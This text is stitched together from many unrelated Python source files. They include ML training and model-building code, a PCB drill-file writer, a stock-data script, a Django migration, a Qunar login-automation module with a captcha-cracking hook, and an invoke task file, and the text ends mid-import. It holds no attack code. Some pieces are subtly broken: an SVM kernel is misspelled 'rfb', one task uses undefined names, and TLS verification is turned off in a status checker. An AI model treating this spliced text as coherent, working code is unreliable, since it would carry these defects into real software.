if args.resume: file_handler = logging.FileHandler(save_dir + '/log_training.log', mode='a') else: file_handler = logging.FileHandler(save_dir + '/log_training.log', mode='w') logger.addHandler(file_handler) train_dehaze(args, save_dir=save_dir, logger=logger) elif args.cmd == 'test': test_dehaze(args, save_dir=os.path.dirname(args.resume), logger=logger, logging=logging) if __name__ == '__main__': main() import tensorflow as tf import os ''' python src/train.py --train_dir=/tmp/tfmodel \ --dataset_name=decorations \ --dataset_dir=/home/paul/Data/decorations/TFRecords/2017 \ --num_classes=4 \ --max_number_of_steps=1000 \ --batch_size=2 \ ''' slim = tf.contrib.slim classes = ["glasses", "hat", "package", "tie"] FILE_PATTERN = '*.tfrecords' ITEMS_TO_DESCRIPTIONS = { 'image': 'A color image of varying height and width.', 'shape': 'Shape of the image', 'object/bbox': 'A list of bounding boxes, one per each object.', 'object/label': 'A list of labels, one per each object.', } SPLITS_TO_SIZES = { 'train': 762, } MAX_BOX_NUM_PER_IMAGE = { 'train': 9, } NUM_CLASSES = 4 def get_split(split_name, dataset_dir, file_pattern=None, reader=None, split_to_sizes=SPLITS_TO_SIZES, items_to_descriptions=ITEMS_TO_DESCRIPTIONS, num_classes=NUM_CLASSES): """Gets a dataset tuple with instructions for reading Pascal VOC type dataset. Args: split_name: A train/test split name. dataset_dir: The base directory of the dataset sources. file_pattern: The file pattern to use when matching the dataset sources. It is assumed that the pattern contains a '%s' string so that the split name can be inserted. reader: The TensorFlow reader type. Returns: A `Dataset` namedtuple. Raises: ValueError: if `split_name` is not a valid train/test split. """ if split_name not in split_to_sizes: raise ValueError('split name %s was not recognized.' % split_name) if file_pattern is None: file_pattern = FILE_PATTERN file_pattern = os.path.join(dataset_dir, split_name, file_pattern) # Allowing None in the signature so that dataset_factory can use the default. if reader is None: reader = tf.TFRecordReader # Features in Pascal VOC type TFRecords. keys_to_features = { 'image/encoded': tf.FixedLenFeature((), tf.string, default_value=''), 'image/format': tf.FixedLenFeature((), tf.string, default_value='jpeg'), 'image/height': tf.FixedLenFeature([1], tf.int64), 'image/width': tf.FixedLenFeature([1], tf.int64), 'image/channels': tf.FixedLenFeature([1], tf.int64), 'image/shape': tf.FixedLenFeature([3], tf.int64), 'image/box_num': tf.FixedLenFeature([1], tf.int64), 'image/object/bbox/xmin': tf.VarLenFeature(dtype=tf.float32), 'image/object/bbox/ymin': tf.VarLenFeature(dtype=tf.float32), 'image/object/bbox/xmax': tf.VarLenFeature(dtype=tf.float32), 'image/object/bbox/ymax': tf.VarLenFeature(dtype=tf.float32), 'image/object/bbox/label': tf.VarLenFeature(dtype=tf.int64), 'image/object/bbox/difficult': tf.VarLenFeature(dtype=tf.int64), 'image/object/bbox/truncated': tf.VarLenFeature(dtype=tf.int64), } items_to_handlers = { 'image': slim.tfexample_decoder.Image('image/encoded', 'image/format'), 'shape': slim.tfexample_decoder.Tensor('image/shape'), 'box_num': slim.tfexample_decoder.Tensor('image/box_num', shape=[1]), 'object/bbox': slim.tfexample_decoder.BoundingBox( ['xmin', 'ymin', 'xmax', 'ymax'], 'image/object/bbox/'), 'object/label': slim.tfexample_decoder.Tensor('image/object/bbox/label'), 'object/difficult': slim.tfexample_decoder.Tensor('image/object/bbox/difficult'), 'object/truncated': slim.tfexample_decoder.Tensor('image/object/bbox/truncated'), } decoder = slim.tfexample_decoder.TFExampleDecoder( keys_to_features, items_to_handlers) labels_to_names = {} for label in classes: labels_to_names[classes.index(label)] = label return slim.dataset.Dataset( data_sources=file_pattern, reader=reader, decoder=decoder, num_samples=split_to_sizes[split_name], items_to_descriptions=items_to_descriptions, num_classes=num_classes, labels_to_names=labels_to_names) #!/usr/bin/python import os import re from lxml import etree as et import pcbmode.config as config from . import messages as msg # pcbmode modules from . import utils from .point import Point def makeExcellon(manufacturer='default'): """ """ ns = {'pcbmode':config.cfg['ns']['pcbmode'], 'svg':config.cfg['ns']['svg']} # Open the board's SVG svg_in = utils.openBoardSVG() drills_layer = svg_in.find("//svg:g[@pcbmode:sheet='drills']", namespaces=ns) excellon = Excellon(drills_layer) # Save to file base_dir = os.path.join(config.cfg['base-dir'], config.cfg['locations']['build'], 'production') base_name = "%s_rev_%s" % (config.brd['config']['name'], config.brd['config']['rev']) filename_info = config.cfg['manufacturers'][manufacturer]['filenames']['drills'] add = '_%s.%s' % ('drills', filename_info['plated'].get('ext') or 'txt') filename = os.path.join(base_dir, base_name + add) with open(filename, "wb") as f: for line in excellon.getExcellon(): f.write(line) class Excellon(): """ """ def __init__(self, svg): """ """ self._svg = svg self._ns = {'pcbmode':config.cfg['ns']['pcbmode'], 'svg':config.cfg['ns']['svg']} # Get all drill paths except for the ones used in the # drill-index drill_paths = self._svg.findall(".//svg:g[@pcbmode:type='component-shapes']//svg:path", namespaces=self._ns) drills_dict = {} for drill_path in drill_paths: diameter = drill_path.get('{'+config.cfg['ns']['pcbmode']+'}diameter') location = self._getLocation(drill_path) if diameter not in drills_dict: drills_dict[diameter] = {} drills_dict[diameter]['locations'] = [] drills_dict[diameter]['locations'].append(location) self._preamble = self._createPreamble() self._content = self._createContent(drills_dict) self._postamble = self._createPostamble() def getExcellon(self): return (self._preamble+ self._content+ self._postamble) def _createContent(self, drills): """ """ ex = [] for i, diameter in enumerate(drills): # This is probably not necessary, but I'm not 100% certain # that if the item order of a dict is gurenteed. If not # the result can be quite devastating where drill # diameters are wrong! # Drill index must be greater than 0 drills[diameter]['index'] = i+1 ex.append("T%dC%s\n" % (i+1, float(diameter))) ex.append('M95\n') # End of a part program header for diameter in drills: ex.append("T%s\n" % drills[diameter]['index']) for coord in drills[diameter]['locations']: ex.append(self._getPoint(coord)) return ex def _createPreamble(self): """ """ ex = [] ex.append('M48\n') # Beginning of a part program header ex.append('METRIC,TZ\n') # Metric, trailing zeros ex.append('G90\n') # Absolute mode ex.append('M71\n') # Metric measuring mode return ex def _createPostamble(self): """ """ ex = [] ex.append('M30\n') # End of Program, rewind return ex def _getLocation(self, path): """ Returns the location of a path, factoring in all the transforms of its ancestors, and its own transform """ location = Point() # We need to get the transforms of all ancestors that have # one in order to get the location correctly ancestors = path.xpath("ancestor::*[@transform]") for ancestor in ancestors: transform = ancestor.get('transform') transform_data = utils.parseTransform(transform) # Add them up location += transform_data['location'] # Add the transform of the path itself transform = path.get('transform') if transform != None: transform_data = utils.parseTransform(transform) location += transform_data['location'] return location def _getPoint(self, point): """ Converts a Point type into an Excellon coordinate """ return "X%.6fY%.6f\n" % (point.x, -point.y) import sys import tushare as ts from stock.utils.symbol_util import exsymbol_to_symbol from stock.marketdata.storefactory import get_store from config import store_type import pandas as pd def get_tick_history(exsymbol, days=10): store = get_store(store_type) dates = store.get('id000001').index symbol = exsymbol_to_symbol(exsymbol) df_res = pd.DataFrame(columns=["kaipan_vol", "kaipan_money", "shoupan_vol", "shoupan_money"]) for i in range(days, 0, -1): date = dates[len(dates)-i].strftime("%Y-%m-%d") df = ts.get_tick_data(symbol, date=date, src="tt") if df is None or len(df) == 0: continue df["time"] = pd.to_datetime(df["time"], format='%H:%M:%S') kaipan_time = df.iloc[0].time kaipan_vol = 0 kaipan_money = 0 if kaipan_time.hour == 9 and kaipan_time.minute < 30: kaipan_vol = df.iloc[0].volume kaipan_money = df.iloc[0].amount shoupan_time = df.iloc[len(df)-1].time shoupan_vol = 0 shoupan_money = 0 if shoupan_time.hour >= 15 and shoupan_time.minute >= 0: shoupan_vol = df.iloc[len(df)-1].volume shoupan_money = df.iloc[len(df)-1].amount df_res.loc[date] = [kaipan_vol, kaipan_money, shoupan_vol, shoupan_money] return df_res if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: %s " % sys.argv[0]) sys.exit(1) exsymbol = sys.argv[1] df = get_tick_history(exsymbol, days=30) print(df) mindspore-ai/contrib from mindspore.train.serialization import save_checkpoint import mindspore as ms import os import numpy as np from mindspore import log as logger from mindspore.train.checkpoint_pb2 import Checkpoint from mindspore.common.tensor import Tensor from mindspore.common import dtype as mstype def load_bls_basic_ckpt(path1="./checkpoints/ms_bls_basic.ckpt", path2=None): param = load_my_checkpoint(path1) weight_of_train = param["weight"] weight_of_feature_layer = param["weight_of_feature_layer"] max_list_set = param["max_list_set"] min_list_set = param["min_list_set"] weight_of_enhance_layer = param["weight_of_enhance_layer"] parameter_of_shrink = param["parameter_of_shrink"] if path2 is None: parameter = [[None, weight_of_train], [weight_of_feature_layer, max_list_set, min_list_set], [[weight_of_enhance_layer], [parameter_of_shrink]]] return parameter if path2 is not None: param2 = load_my_checkpoint(path2) base_input_of_two_layer = param2["input_layer"] base_pinv_of_input = param2["pseudo_inverse"] base_feature_mapping_layer = param2["feature_layer"] base_parameter_of_shrinks = [] base_parameter_of_shrinks = parameter_of_shrink base_weight_of_enhancement_layer = weight_of_enhance_layer incremental_parameter1 = [weight_of_feature_layer, max_list_set, min_list_set] incremental_parameter2 = [base_feature_mapping_layer, [base_weight_of_enhancement_layer], [base_parameter_of_shrinks], base_input_of_two_layer, base_pinv_of_input] return [incremental_parameter1, incremental_parameter2] def load_bls_incremental_ckpt(path1="./checkpoints/ms_bls_basic.ckpt", path2 = "./checkpoints/ms_bls_incre_prepare.ckpt"): parameter = load_my_checkpoint(path1) loop_output_weight = parameter["loop_output_weight"] loop_feature_weight = parameter["loop_feature_weight"] loop_enhance_weight1 = parameter["loop_enhance_weight1"] loop_enhance_weight2 = parameter["loop_enhance_weight2"] loop_shrink = parameter["loop_shrink"] loop_input_layer = parameter["loop_input_layer"] loop_pinv = parameter["loop_pinv"] return_parameter = [[None, loop_output_weight], [loop_feature_weight, [loop_enhance_weight1, loop_enhance_weight2], loop_shrink, loop_input_layer, loop_pinv]] return return_parameter def load_cfbls_basic_ckpt(path="./checkpoints/ms_bls_basic.ckpt"): param = load_my_checkpoint(path) weight_of_train = param["weight"] weight_of_feature_layer = param["weight_of_feature_layer"] max_list_set = param["max_list_set"] min_list_set = param["min_list_set"] cascade_feature_weights = param["cascade_feature_weights"] weight_of_enhance_layer = param["weight_of_enhance_layer"] parameter_of_shrink = param["parameter_of_shrink"] parameter = None parameter = [[None, weight_of_train], [weight_of_feature_layer, max_list_set, min_list_set, cascade_feature_weights], [[weight_of_enhance_layer], [parameter_of_shrink]]] return parameter def load_cfbls_incremental_ckpt(path="./checkpoints/ms_bls_basic.ckpt"): parameter = load_my_checkpoint(path) loop_output_weight = parameter["loop_output_weight"] loop_feature_weight = parameter["loop_feature_weight"] loop_enhance_weight1 = parameter["loop_enhance_weight1"] loop_enhance_weight2 = parameter["loop_enhance_weight2"] loop_shrink = parameter["loop_shrink"] loop_input_layer = parameter["loop_input_layer"] loop_pinv = parameter["loop_pinv"] return_parameter = [[None, loop_output_weight], [loop_feature_weight, [loop_enhance_weight1, loop_enhance_weight2], loop_shrink, loop_input_layer, loop_pinv]] return return_parameter def load_cebls_basic_ckpt(path="./checkpoints/ms_bls_basic.ckpt"): param = load_my_checkpoint(path) weight_of_train = param["weight"] weight_of_feature_layer = param["weight_of_feature_layer"] max_list_set = param["max_list_set"] min_list_set = param["min_list_set"] cascade_weight_of_enhance_layer = param["cascade_weight_of_enhance_layer"] weight_of_enhance_layer = param["weight_of_enhance_layer"] parameter_of_shrink = param["parameter_of_shrink"] parameter = None parameter = [[None, weight_of_train], [weight_of_feature_layer, max_list_set, min_list_set], [[weight_of_enhance_layer], [parameter_of_shrink], cascade_weight_of_enhance_layer]] return parameter def load_my_checkpoint(ckpt_file_name): """ this api is copied from mindspore\train\serialization.py, and be modified to be used """ tensor_to_ms_type = {"Int8": mstype.int8, "Uint8": mstype.uint8, "Int16": mstype.int16, "Uint16": mstype.uint16, "Int32": mstype.int32, "Uint32": mstype.uint32, "Int64": mstype.int64, "Uint64": mstype.uint64, "Float16": mstype.float16, "Float32": mstype.float32, "Float64": mstype.float64, "Bool": mstype.bool_} tensor_to_np_type = {"Int8": np.int8, "Uint8": np.uint8, "Int16": np.int16, "Uint16": np.uint16, "Int32": np.int32, "Uint32": np.uint32, "Int64": np.int64, "Uint64": np.uint64, "Float16": np.float16, "Float32": np.float32, "Float64": np.float64, "Bool": np.bool_} if not isinstance(ckpt_file_name, str): raise ValueError("The ckpt_file_name must be string.") if not os.path.exists(ckpt_file_name): raise ValueError("The checkpoint file is not exist.") if ckpt_file_name[-5:] != ".ckpt": raise ValueError("Please input the correct checkpoint file name.") if os.path.getsize(ckpt_file_name) == 0: raise ValueError("The checkpoint file may be empty, please make sure enter the correct file name.") logger.info("Execute the process of loading checkpoint files.") checkpoint_list = Checkpoint() try: with open(ckpt_file_name, "rb") as f: pb_content = f.read() checkpoint_list.ParseFromString(pb_content) except BaseException as e: logger.error("Failed to read the checkpoint file `%s`, please check the correct of the file.", ckpt_file_name) raise ValueError(e.__str__()) parameter_dict = {} try: param_data_list = [] for element_id, element in enumerate(checkpoint_list.value): data = element.tensor.tensor_content data_type = element.tensor.tensor_type np_type = tensor_to_np_type[data_type] ms_type = tensor_to_ms_type[data_type] element_data = np.frombuffer(data, np_type) param_data_list.append(element_data) if (element_id == len(checkpoint_list.value) - 1) or \ (element.tag != checkpoint_list.value[element_id + 1].tag): param_data = np.concatenate((param_data_list), axis=0) param_data_list.clear() dims = element.tensor.dims if dims == [0]: if 'Float' in data_type: param_data = float(param_data[0]) elif 'Int' in data_type: param_data = int(param_data[0]) parameter_dict[element.tag] = Tensor(param_data, ms_type) elif dims == [1]: parameter_dict[element.tag] = Tensor(param_data, ms_type) else: param_dim = [] for dim in dims: param_dim.append(dim) param_value = param_data.reshape(param_dim) parameter_dict[element.tag] = Tensor(param_value, ms_type) logger.info("Loading checkpoint files process is finished.") except BaseException as e: logger.error("Failed to load the checkpoint file `%s`.", ckpt_file_name) raise RuntimeError(e.__str__()) return parameter_dictstarbot/models/__init__.py from starbot.models.config_entry import ConfigEntryModel # noqa: F401 from starbot.models.guild import GuildModel # noqa: F401 ComputeCanada/magic_castle-ui import requests from requests.exceptions import ConnectionError MAX_PROVISIONING_TIME = 3600 class ProvisioningManager: """ ProvisioningManager is responsible checking the provisioning status of a cluster. ProvisioningManager sends GET requests to HTTP services created by Magic Castle via its check_online() method. If the method returns False, the provisioning is yet completed, if it returns True, the services are online and the cluster is most likely online. """ @classmethod def check_online(self, hostname): try: return ( requests.head( f"https://jupyter.{hostname}", timeout=0.1, verify=False ).status_code == 405 and requests.head( f"https://ipa.{hostname}", timeout=0.1, verify=False ).status_code == 301 and requests.head( f"https://mokey.{hostname}", timeout=0.1, verify=False ).status_code == 405 ) except ConnectionError: return False from sta663.pkg.sub1.sub1_stuff import g1, g2 from sta.pkg.sub2.more_sub1_stuff import g3 DeepMol/src/models/baseModels.py from sklearn.ensemble import RandomForestClassifier from sklearn.svm import SVC from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout, BatchNormalization, GaussianNoise, Conv1D, Flatten, Reshape from tensorflow.keras import regularizers from tensorflow.keras.optimizers import Adadelta, Adam, RMSprop #TODO: add more pre-defined models def rf_model_builder(n_estimators=100, max_features='auto', class_weight={0: 1., 1: 1.}): rf_model = RandomForestClassifier(n_estimators=n_estimators, max_features=max_features, class_weight=class_weight) return rf_model def svm_model_builder(C=1, gamma='auto', kernel='rfb'): svm_model = SVC(C=C, gamma=gamma, kernel=kernel) return svm_model def create_dense_model(input_dim=1024, n_hidden_layers = 1, layers_units = [12, 8, 1], dropouts = [0.5, 0.5], activations = ['relu', 'relu', 'sigmoid'], batch_normalization = [True, True], l1_l2 = [(0, 0)], loss = 'binary_crossentropy', optimizer='adam', metrics=['accuracy']): #assert n_hidden_layers+2 = len(layers_units) == len(activations) == len(dropouts)+1 == len(batch_normalization)+1 len(l1_l2)+2 # create model model = Sequential() model.add(Dense(layers_units[0], input_dim=input_dim, activation=activations[0])) if batch_normalization[0]: model.add(BatchNormalization()) model.add(Dropout(dropouts[0])) for i in range(n_hidden_layers): model.add(Dense(layers_units[i+1], activation=activations[i+1], kernel_regularizer=regularizers.l1_l2(l1=l1_l2[i+1][0], l2=l1_l2[i+1][1]))) if batch_normalization[i+1]: model.add(BatchNormalization()) model.add(Dropout(dropouts[i+1])) model.add(Dense(layers_units[-1], activation=activations[-1])) # Compile model model.compile(loss=loss, optimizer=optimizer, metrics=metrics) return model def make_cnn_model(input_dim=1024, g_noise = 0.05, DENSE=128, DROPOUT=0.5, C1_K=8, C1_S=32, C2_K=16, C2_S=32, activation='relu', loss='binary_crossentropy', optimizer='adadelta', learning_rate=0.01, metrics='accuracy'): model = Sequential() #Adding a bit of GaussianNoise also works as regularization model.add(GaussianNoise(g_noise, input_shape=(input_dim,))) #First two is number of filter + kernel size model.add(Reshape((input_dim, 1))) model.add(Conv1D(C1_K, (C1_S), activation=activation, padding="same")) model.add(Conv1D(C2_K, (C2_S), padding="same", activation=activation)) model.add(Flatten()) model.add(Dropout(DROPOUT)) model.add(Dense(DENSE, activation=activation)) model.add(Dense(1, activation='sigmoid')) if optimizer=='adadelta': opt = Adadelta(lr=learning_rate) elif optimizer=='adam': opt = Adam(lr=learning_rate) elif optimizer=='rsmprop': opt = RMSprop(lr=learning_rate) else : opt = optimizer model.compile(loss=loss, optimizer=opt, metrics=metrics) return modelfrom os.path import dirname, join, realpath def read_file(file_name, folder="mocks"): file = join(dirname(realpath(__file__)), folder, file_name) with open(file) as f: return f.read() def get_api_url(path): return "https://api.postcodeapi.nu/v2/{}".format(path) # Generated by Django 4.0 on 2021-12-19 03:14 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('store', '0011_alter_order_options'), ] operations = [ migrations.AlterModelOptions( name='customer', options={'ordering': ['user__first_name', 'user__last_name'], 'permissions': [('view history', 'can view history')]}, ), migrations.AlterField( model_name='orderitem', name='order', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='items', to='store.order'), ), ] tubelib/src/youtube/Search.py1-10 #enigma2 from Components.config import config #youtube from apiclient.discovery import build #local from ThreadedRequest import ThreadedRequest from YoutubeQueryBase import YoutubeQueryBase from Videos import Videos from Tools.Log import Log class Search(Videos): ORDER_DATE = "date" ORDER_RATING = "rating" ORDER_RELEVANCE = "relevance" ORDER_TITLE = "title" ORDER_VIDEOCOUNT = "videoCount" ORDER_VIEWCOUNT = "viewCount" SAFE_SEARCH_NONE = "none" SAFE_SEARCH_MODERATE = "moderate" SAFE_SEARCH_STRICT = "strict" def list(self, callback, searchTerm=None, order=ORDER_RELEVANCE, maxResults=25, relatedToVideoId=None, channelId=None, safeSearch=SAFE_SEARCH_NONE): self._listrequest = None self._args = { 'part' : 'id', 'type' : 'video', 'maxResults' : maxResults, 'order' : order, 'safeSearch' : safeSearch } if searchTerm: self._args['q'] = searchTerm if relatedToVideoId: self._args['relatedToVideoId'] = relatedToVideoId if channelId: self._args['channelId'] = channelId self._doQuery(callback) def _doQuery(self, callback): request = self._youtube.search().list(**self._args) def subquery(data): if not data: self._onResult(False, []) items = [] for item in data['items']: items.append(item["id"]["videoId"]) kwargs = { "part" : "id,snippet,statistics,contentDetails", "maxResults" : 50, "hl" : config.plugins.mytube.search.lr.value, "id" : ",".join(items) } request = self._youtube.videos().list(**kwargs) return request return self._query(callback, request, subquery=subquery) # type: ignore from requre.helpers.requests_response import RequestResponseHandling from requre.import_system import upgrade_import_system ogr_import_system = ( upgrade_import_system(debug_file="modules.out") .log_imports(what="^requests$", who_name=["ogr", "gitlab", "github"]) .decorate( where="^requests$", what="Session.send", who_name=[ "ogr.services.pagure", "gitlab", "github.MainClass", "github.Requester", "ogr.services.github_tweak", ], decorator=RequestResponseHandling.decorator(item_list=[]), ) ) # Copyright 2020 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import annotations import pytest from pants.build_graph.build_file_aliases import BuildFileAliases from pants.engine.internals.parser import BuildFilePreludeSymbols, ParseError, Parser from pants.util.docutil import bracketed_docs_url from pants.util.frozendict import FrozenDict def test_imports_banned() -> None: parser = Parser(target_type_aliases=[], object_aliases=BuildFileAliases()) with pytest.raises(ParseError) as exc: parser.parse( "dir/BUILD", "\nx = 'hello'\n\nimport os\n", BuildFilePreludeSymbols(FrozenDict()) ) assert "Import used in dir/BUILD at line 4" in str(exc.value) def test_unrecogonized_symbol() -> None: def perform_test(extra_targets: list[str], dym: str) -> None: parser = Parser( target_type_aliases=["tgt", *extra_targets], object_aliases=BuildFileAliases( objects={"obj": 0}, context_aware_object_factories={"caof": lambda parse_context: lambda _: None}, ), ) prelude_symbols = BuildFilePreludeSymbols(FrozenDict({"prelude": 0})) fmt_extra_sym = str(extra_targets)[1:-1] + (", ") if len(extra_targets) != 0 else "" with pytest.raises(ParseError) as exc: parser.parse("dir/BUILD", "fake", prelude_symbols) assert str(exc.value) == ( f"Name 'fake' is not defined.\n\n{dym}" "If you expect to see more symbols activated in the below list," f" refer to {bracketed_docs_url('enabling-backends')} for all available" " backends to activate.\n\n" f"All registered symbols: ['caof', {fmt_extra_sym}'obj', 'prelude', 'tgt']" ) test_targs = ["fake1", "fake2", "fake3", "fake4", "fake5"] perform_test([], "") dym_one = "Did you mean fake1?\n\n" perform_test(test_targs[:1], dym_one) dym_two = "Did you mean fake2 or fake1?\n\n" perform_test(test_targs[:2], dym_two) dym_many = "Did you mean fake5, fake4, or fake3?\n\n" perform_test(test_targs, dym_many) DecryptLogin/modules/core/qunar.py0 ''' Function: 去哪儿旅行模拟登录 Author: Charles 微信公众号: Charles的皮卡丘 更新日期: 2022-04-23 ''' import os import re import time import requests from ..utils import removeImage, showImage, saveImage '''PC端登录去哪儿旅行''' class qunarPC(): is_callable = True def __init__(self, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) self.info = 'login in qunar in pc mode' self.cur_path = os.getcwd() self.session = requests.Session() self.__initialize() '''登录函数''' def login(self, username, password, crack_captcha_func=None, **kwargs): # 设置代理 self.session.proxies.update(kwargs.get('proxies', {})) # 初始化cookies response = self.session.get(self.home_url) # 获取验证码 response = self.session.get(self.captcha_url % str(int(time.time() * 1000))) captcha_path = saveImage(response.content, os.path.join(self.cur_path, 'captcha.jpg')) if crack_captcha_func is None: showImage(captcha_path) captcha = input('Input the captcha: ') else: captcha = crack_captcha_func(captcha_path) removeImage(captcha_path) # 设置cookies self.session.get(self.addICK_url) response = self.session.get(self.sessionId_url) session_id = re.findall(r'sessionId=(.*?)&', response.text)[0] self.session.get(self.fid_url % session_id) self.session.cookies.update({'QN271': session_id}) # 模拟登录 data = { 'loginType': '0', 'ret': 'https://www.qunar.com/', 'username': username, 'password': password, 'remember': '1', 'vcode': captcha } response = self.session.post(self.login_url, data=data) response_json = response.json() # 登录成功 if response_json['ret'] and (response_json['errcode'] == 0): print('[INFO]: Account -> %s, login successfully' % username) infos_return = {'username': username} infos_return.update(response_json) return infos_return, self.session # 账号或密码有误 elif response_json['errcode'] in [21022]: raise RuntimeError('Account -> %s, fail to login, username or password error' % username) # 验证码有误 elif response_json['errcode'] in [11004]: raise RuntimeError('Account -> %s, fail to login, crack captcha error' % username) # 账号安全问题, 需要短信验证 elif response_json['errcode'] in [21035]: response = self.session.get(self.captcha_url % str(int(time.time() * 1000))) captcha_path = saveImage(response.content, os.path.join(self.cur_path, 'captcha.jpg')) if crack_captcha_func is None: showImage(captcha_path) captcha = input('Input the captcha: ') else: captcha = crack_captcha_func(captcha_path) removeImage(captcha_path) self.session.get(self.addICK_url) response = self.session.get(self.sessionId_url) session_id = re.findall(r'sessionId=(.*?)&', response.text)[0] self.session.get(self.fid_url % session_id) self.session.cookies.update({'QN271': session_id}) data = { 'mobile': username, 'vcode': captcha, 'type': '3', } response = self.session.post(self.getLoginCode_url, data=data) if 'success' not in response.text: raise RuntimeError(response.json().get('errmsg', 'something error when get sms code')) code = input('This login is detected to be at risk, please enter the sms code your phone have accepted: ') data = { 'loginType': '1', 'ret': 'https://www.qunar.com/', 'mobile': username, 'randcode': code, 'remember': '1', } response = self.session.post(self.login_url, data=data) response_json = response.json() if response_json['errcode'] == 0: print('[INFO]: Account -> %s, login successfully' % username) infos_return = {'username': username} infos_return.update(response_json) return infos_return, self.session else: raise RuntimeError(response_json.get('errmsg')) # 其他原因 else: raise RuntimeError(response_json.get('errmsg')) '''初始化''' def __initialize(self): self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36' } self.home_url = 'http://user.qunar.com/passport/login.jsp' self.captcha_url = 'https://user.qunar.com/captcha/api/image?k={en7mni(z&p=ucenter_login&c=ef7d278eca6d25aa6aec7272d57f0a9a&t=%s' self.addICK_url = 'https://user.qunar.com/passport/addICK.jsp?ssl' self.sessionId_url = 'https://rmcsdf.qunar.com/js/df.js?org_id=ucenter.login&js_type=0' self.fid_url = 'https://rmcsdf.qunar.com/api/device/challenge.json?sessionId=%s&domain=qunar.com&orgId=ucenter.login' self.login_url = 'https://user.qunar.com/passport/loginx.jsp' self.getLoginCode_url = 'http://user.qunar.com/passport/getLoginCode.jsp' self.session.headers.update(self.headers) '''移动端登录去哪儿旅行''' class qunarMobile(): is_callable = False def __init__(self, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) self.info = 'login in qunar in mobile mode' '''扫码登录去哪儿旅行''' class qunarScanqr(): is_callable = False def __init__(self, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) self.info = 'login in qunar in scanqr mode' ''' Function: 去哪儿旅行模拟登录 Detail: -login: Input: --username: 用户名 --password: 密码 --mode: mobile/pc/scanqr --crack_captcha_func: 若提供验证码接口, 则利用该接口来实现验证码的自动识别 --proxies: 为requests.Session()设置代理 Return: --infos_return: 用户名等信息 --session: 登录后的requests.Session() ''' class qunar(): def __init__(self, **kwargs): self.info = 'login in qunar' self.supported_modes = { 'pc': qunarPC(**kwargs), 'mobile': qunarMobile(**kwargs), 'scanqr': qunarScanqr(**kwargs), } '''登录函数''' def login(self, username, password, mode='pc', crack_captcha_func=None, **kwargs): assert mode in self.supported_modes, 'unsupport mode %s in qunar.login' % mode selected_api = self.supported_modes[mode] if not selected_api.is_callable: raise NotImplementedError('not be implemented for mode %s in qunar.login' % mode) args = { 'username': username, 'password': password, 'crack_captcha_func': crack_captcha_func, } args.update(kwargs) return selected_api.login(**args)From 9934ce31b8447667f71c211e559a8de71e8263db Mon Sep 17 00:00:00 2001 From: <> Date: Mon, 4 Jan 2016 23:14:06 +1100 Subject: [PATCH] Check bytecode file actually exists and tests Should solve issue 20397, where using the --record argument results in files that failed to generate bytecode files are added to the record file nonetheless. --- Lib/distutils/command/install_lib.py.orig 2014-10-12 06:52:02 UTC +++ Lib/distutils/command/install_lib.py @@ -165,11 +165,18 @@ class install_lib(Command): if ext != PYTHON_SOURCE_EXTENSION: continue if self.compile: - bytecode_files.append(imp.cache_from_source( - py_file, debug_override=True)) + candidate = imp.cache_from_source( + py_file, debug_override=True) + + if os.path.isfile(candidate): + bytecode_files.append(candidate) + if self.optimize > 0: - bytecode_files.append(imp.cache_from_source( - py_file, debug_override=False)) + candidate = imp.cache_from_source( + py_file, debug_override=False) + + if os.path.isfile(candidate): + bytecode_files.append(candidate) return bytecode_files app/schemas/lab_request.py from datetime import datetime as dt from typing import Optional, List from pydantic import BaseModel from ..utils.schemaHelper import Base, as_form from .lab_result import * from .lab_test import * from .patient import * class LabRequestBase(Base): patient_id: str # lab_test_id: str # lab_result_id: str lab_test_id: Optional[str] = None lab_request_no: Optional[str] = None status: Optional[str] = None is_active: Optional[str] = None @as_form class CreateLabRequest(LabRequestBase): pass class LabRequest(LabRequestBase): id: str created_at: Optional[dt] = None updated_at: Optional[dt] = None # lab_result: Optional[LabResultBase] = None lab_test: Optional[LabTestBase] = None patient: Optional[PatientBase] = None class OutLabRequests(Base): data: List[LabRequest] error: bool message: str class OutLabRequest(Base): data: LabRequest error: bool message: strresnest/torch/benchmark.py0 #!/usr/bin/env python3 import torch from timer import Timer @torch.no_grad() def compute_time_eval(model, im_size, batch_size): """Computes precise model forward test time using dummy data.""" model.eval() # Generate a dummy mini-batch and copy data to GPU inputs = torch.zeros(batch_size, 3, im_size, im_size).cuda(non_blocking=False) # Compute precise forward pass time timer = Timer() total_iter = 1100 # Run. for cur_iter in range(total_iter): # Reset the timers after the warmup phase if cur_iter == 100: timer.reset() # Forward timer.tic() model(inputs) torch.cuda.synchronize() timer.toc() return timer.average_time 0 import subprocess import signal import json from pathlib import Path import contextlib from invoke import task from flask import Flask, request, send_from_directory EXAMPLE_DATA_URLS = """ https://github.com/dgraph-io/benchmarks/raw/master/data/goldendata.schema https://github.com/dgraph-io/benchmarks/raw/master/data/goldendata.rdf.gz https://github.com/dgraph-io/benchmarks/raw/master/data/sf.tourism.gz """.strip().splitlines() app = Flask(__name__) site = Path('static') @app.route('/', defaults={'path': ''}) @app.route('/') def catch_all(path): filepath = site / path if filepath.is_dir(): index_path = filepath / 'index.html' if index_path.exists(): return send_from_directory(str(site), 'index.html') if filepath.exists(): return send_from_directory(str(site), path) return 'Page not found', 404 @task def serve(ctx): app.run(port=8000) @task def db(ctx): start_dgraph() @task def download_example_data(ctx): for url in EXAMPLE_DATA_URLS: filename = Path(url).name if not Path(filename).exists(): subprocess.call(['wget', url, '-O', 'data/' + filename]) @task def load_example_data(ctx): """Load the example data. Will take a while.""" cmd = 'dgraphloader -r data/goldendata.rdf.gz,data/sf.tourism.gz' subprocess.call(cmd, shell=True) @task def populate(ctx): with open('initial-data.txt') as fp: res = requests.post(QUERY_URL, fp.read()) print(res.json()) def start_dgraph(): subprocess.call('dgraph --schema data/goldendata.schema', shell=True) import logging from functools import cache from ens import ENS from eth_account.messages import encode_defunct from eth_typing import ChecksumAddress from eth_utils import ValidationError from web3 import Web3 from app.config import 